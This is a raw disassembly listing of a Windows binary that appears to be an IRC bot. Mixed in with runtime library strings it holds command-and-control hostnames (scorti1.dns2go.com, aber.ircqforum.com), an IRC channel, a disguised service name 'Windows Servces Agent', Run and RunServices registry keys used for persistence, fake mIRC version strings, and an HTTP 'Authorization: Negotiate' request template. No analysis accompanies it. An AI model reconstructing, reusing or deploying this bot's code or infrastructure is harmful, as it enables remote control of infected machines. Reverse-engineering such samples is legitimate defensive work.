mov eax, offset dword_4280CC
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E68: ; DATA XREF: sub_426618o
mov eax, offset dword_4280F0
jmp loc_41C91F
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E7A: ; DATA XREF: sub_42669Ao
mov eax, offset dword_428150
jmp loc_41C91F
; ---------------------------------------------------------------------------
dd 5Fh dup(0)
dd 25C0000h, 25C1068h, 25D0000h, 25D06A2h, 25E0000h, 25E0BA1h
dd 25F0000h, 25F04C1h, 25F0528h, 2600000h, 260079Ch, 2600D06h
dd 2610000h, 26107E8h, 2610A05h
dword_42703C dd 2610A13h ; DATA XREF: ___:004231D9r
dd 2610AB7h, 2610D1Dh, 2610D37h, 2620000h, 2630000h, 2631138h
dd 2640000h, 26403E9h, 26408DFh, 77E75CB5h
dword_427068 dd 26408F3h ; DATA XREF: sub_40111D+B8r
; ___:004014FCr ...
db 0CCh
db 0Bh, 64h, 2
dd 2650000h, 26509B6h
dword_427078 dd 2650E43h ; DATA XREF: sub_40111D+29r
; sub_401ACD+318Br ...
dword_42707C dd 2660000h ; DATA XREF: ___:004015E2r
; sub_410CD5+32r
dd 26601FEh
dword_427084 dd 2660377h ; DATA XREF: sub_4196BC+B9r
; ---------------------------------------------------------------------------
retn 6609h
; ---------------------------------------------------------------------------
db 2
dword_42708C dd 2660A00h ; DATA XREF: sub_410FF8:loc_411089r
dword_427090 dd 2660A2Dh ; DATA XREF: ___:loc_4013DCr
dd 2660D51h, 2660E71h
dword_42709C dd 2670000h ; DATA XREF: sub_409B12+2r
dd 267016Eh, 2670251h
dword_4270A8 dd 267098Eh ; DATA XREF: ___:0040124Dr
; sub_41A4D1+8Cr
dword_4270AC dd 2670A1Bh ; DATA XREF: sub_410CD5:loc_410DC1r
dd 2680000h, 2680B1Eh
dword_4270B8 dd 2680C3Fh ; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC dd 2690000h ; DATA XREF: sub_409B12+11r
; sub_416F1A+60r ...
dd 26A0000h, 26B0000h, 26B0618h, 26C0000h, 77F7E300h, 77F7E21Fh
dd 26C061Ah, 26C0774h, 26D0000h, 26D0861h
dword_4270E8 dd 26E0000h ; DATA XREF: sub_410FF8+Br
dword_4270EC dd 26E0921h ; DATA XREF: sub_418293+36r
dd 26E0B3Dh, 26F0000h
dword_4270F8 dd 26F0656h ; DATA XREF: sub_410F1F+3Ar
; sub_419C64+79r
dword_4270FC dd 2700000h ; DATA XREF: sub_410E26+23r
; sub_419C64+3Br
dd 270154Eh, 2710000h, 2710A52h, 2720000h, 272088Fh, 2730000h
dd 27303F0h, 2740000h, 2740ABCh, 2740D5Ch, 2740E71h, 2750000h
dd 275093Eh, 2760000h, 27603AFh
dword_42713C dd 27607C0h ; DATA XREF: sub_416F1A+BCr
dd 2770000h
dword_427144 dd 2780000h ; DATA XREF: sub_4170EC+21r
; sub_417275+4Ar
dword_427148 dd 2780B10h ; DATA XREF: sub_4170EC+10r
; sub_417275+40r ...
dd 2780B5Dh
dword_427150 dd 2790000h ; DATA XREF: sub_417275+56r
dd 27902A0h, 27A0000h, 27B0000h, 27B06A1h, 27B0B69h, 27B0E77h
dd 27C0000h, 27C05F8h, 27D0000h, 27E0000h
dword_42717C dd 27E1001h ; DATA XREF: sub_418B58+13r
; ___:0042324Er ...
dword_427180 dd 27F0000h ; DATA XREF: sub_418C2A+Fr
; sub_41D834+54r ...
dd 27F107Eh, 27F14F6h, 27F19AFh, 2800000h, 2810000h, 2820000h
dd 282204Eh, 2830000h, 2840000h, 2850000h, 28519BFh, 2851A20h
dd 2860000h, 2860E64h, 2870000h
dword_4271C0 dd 287054Bh ; DATA XREF: sub_41DEA2+240r
dword_4271C4 dd 2870686h ; DATA XREF: sub_41E976:loc_41E9A7r
dd 2870859h, 2880000h, 28806EBh, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ACh, 0B2h, 71h
align 10h
dd 71AB4122h
dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr
dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
dd 71AB1746h, 71AB3E5Dh
dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar
dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
dd 71AB157Eh, 0
dword_427238 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co
; sub_401ACD+356Co ...
align 10h
aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co
; sub_401ACD+38D2o ...
align 4
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr
dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r
dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr
; sub_40D4B0r ...
align 10h
dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r
dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do
; sub_40D560+5Bo ...
flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r
dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r
; ___:004166D1r ...
dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r
dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r
dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r
; sub_417ADD+3A7r
dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r
dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br
; sub_417ADD+2D5r ...
dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r
dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr
; sub_417ADD+138r ...
dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r
; sub_417ADD+308r
dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r
dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br
flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r
flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr
flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r
flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r
dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr
; sub_41C7BF+6Cr ...
dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
align 4
byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_43C514o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C510o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: ___:off_43C78Co
dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr
; sub_42135F+ACr ...
dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr
dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o
align 4
dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o
dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o
dd offset loc_42224A
align 8
dd offset sub_422228
dd offset sub_422232
dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o
dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o
dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o
dd offset loc_4225AD
align 10h
dd offset loc_422599
dd offset loc_42259D
dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o
dd offset loc_422603
align 8
dd offset loc_4225EF
dd offset loc_4225F3
dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o
; sub_423CEC+39o ...
dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
; DATA XREF: sub_422ACA+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C95Co
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
align 10h
asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
align 10h
dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo
align 10h
dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
; DATA XREF: sub_425F03+5o
dd 427E2Ch
off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o
; sub_4264FE+2Co ...
dd offset sub_4264D5
dd offset sub_4266F6
dd offset dword_427E78
off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao
; sub_426568o ...
dd offset sub_4264D5
dd offset loc_426732
dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o
; sub_4265D0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o
dd offset dword_427EC4
off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o
; sub_42669A+37o ...
dd offset sub_4264D5
dd offset loc_426714
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o
dd offset dword_427F08
off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o
; ___:off_43D084o ...
dd offset dword_427F38
off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o
; sub_42686C+8o ...
dd offset sub_4268CC
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
align 10h
dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo
dd 3, 19930520h, 2 dup(0)
dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
; DATA XREF: sub_426988+5o
dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
; DATA XREF: sub_426C13+5o
dd 43D084h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427DF8 dd offset off_43D09C ; DATA XREF: ___:00427E10o
; ___:00427E5Co ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DF8
dd offset dword_427DC8+18h
dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co
dd 2, 427E10h, 3 dup(0)
dd offset off_43D09C
dd offset dword_427E18+4
off_427E40 dd offset off_43D0BC ; DATA XREF: ___:00427E58o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E40
dd offset off_427DF8
dd offset dword_427DC8+18h
dd 0
db 0 ; DATA XREF: ___:00427E88o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 427E58h
dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o
dd offset off_43D0BC
dd offset unk_427E68
off_427E8C dd offset off_43D0DC ; DATA XREF: ___:00427EA4o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E8C
dd offset off_427DF8
dd offset dword_427DC8+18h
dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o
dd 3, 427EA4h
dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o
dd offset off_43D0DC
dd offset dword_427EB0+4
off_427ED8 dd offset off_43D100 ; DATA XREF: ___:00427EF0o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427ED8
dd 0
db 0 ; DATA XREF: ___:00427F18o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 427EF0h
dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o
dd offset off_43D100
dd offset unk_427EF8
dd offset dword_427DC8+18h
dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o
dd 1, 427F1Ch
dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co
dd offset off_43D084
dd offset dword_427F20+8
align 10h
dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o
dd 0FFFFFFFFh, 426DE0h, 0
dd offset sub_426DD8
dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o
dd 0FFFFFFFFh, 426E04h, 0
dd offset loc_426E0C
dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427FF8h, 4 dup(0)
; ---------------------------------------------------------------------------
retf 40D7h
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 426E2Ah
dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o
dd offset off_43D084
align 8
dd 0FFFFFFFFh, 0
dd 0Ch, 42686Ch, 0
dd offset off_43D09C
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426618h, 0
dd offset off_43D0BC
align 10h
dd 0FFFFFFFFh, 0
dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co
dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo
; sub_4266F6+4Bo
dd offset sub_426568
dd 0
dd offset dword_428078+8
dd 0FFFFFFFFh, 426E3Ch
dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o
dd 0FFFFFFFFh, 426E4Eh
dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o
dd 0FFFFFFFFh, 426E60h
dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o
dd offset off_43D0DC
align 8
dd 0FFFFFFFFh, 0
dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o
dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo
; sub_4266F6+2Do
dd offset sub_426677
dd 0
dd offset dword_428120+8
dd 0FFFFFFFFh, 426E72h
dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao
dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o
dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo
dd offset sub_4264BA
dd 0
dd offset dword_42816C
; ---------------------------------------------------------------------------
fcmovnb st, st(3)
rol dword ptr [esi-25h], cl
retn
; ---------------------------------------------------------------------------
rol dword ptr [esi-25h], cl
retn
; ---------------------------------------------------------------------------
rol dword ptr [esi-25h], cl
retn
; ---------------------------------------------------------------------------
rol dword ptr [esi-25h], cl
retn
; ---------------------------------------------------------------------------
dw 46D3h
dd 5 dup(7FF3A74Dh), 5 dup(2AC15959h), 7Ah dup(0)
dd 2AC15959h, 0
dd 46D3C3DBh, 15h dup(0)
dd 7FF3A74Dh, 2FCh dup(0)
dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o
dd offset loc_401205
dd offset sub_40D878
dd offset sub_40D89A
dd offset dword_40E504+1CFh
dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo
dword_429018 dd 0 ; DATA XREF: ___:0041B794o
dd offset sub_41D052
dd offset sub_42026D
dd offset sub_423936
dd offset word_424752
dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo
dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o
dd offset sub_4239DB
dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o
dd offset byte_424763
dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
; DATA XREF: sub_401000+7o
dword_429068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r
; ___:0040175Ar
dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br
dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r
; sub_40BACD+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r
; sub_40BACD:loc_40BEBEr
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr
dword_42908C dd 1 ; DATA XREF: ___:0040135Er
dword_429090 dd 1 ; DATA XREF: ___:loc_401562r
; sub_418359+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r
; sub_401ACD+B4Br ...
align 4
dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar
; sub_40ACB5+60r ...
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo
; sub_401ACD:loc_4044A0o ...
align 4
aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o
align 4
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo
; sub_401ACD+7EAAo
align 10h
aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
; ___:0040174Bo
align 4
aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o
; ___:00401761o ...
align 4
aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o
; ___:00401773o
align 4
byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r
; ___:00401797o
aAber_ircqforum db 'aber.ircqforum.com',0
aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo
align 10h
aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo
align 4
byte_429108 db 77h ; DATA XREF: ___:00401364o
; ___:00401388w ...
db 69h, 6Eh, 64h
dd 72657373h, 652E6376h, 6578h
dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServces db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo
align 4
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o
align 4
aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o
; sub_401ACD+303Fo ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o
align 4
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o
; sub_401ACD+4216o
align 10h
off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo
; "*@admin.com"
off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
; sub_401ACD+7E4Ao
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
; sub_41A19D+28o
align 4
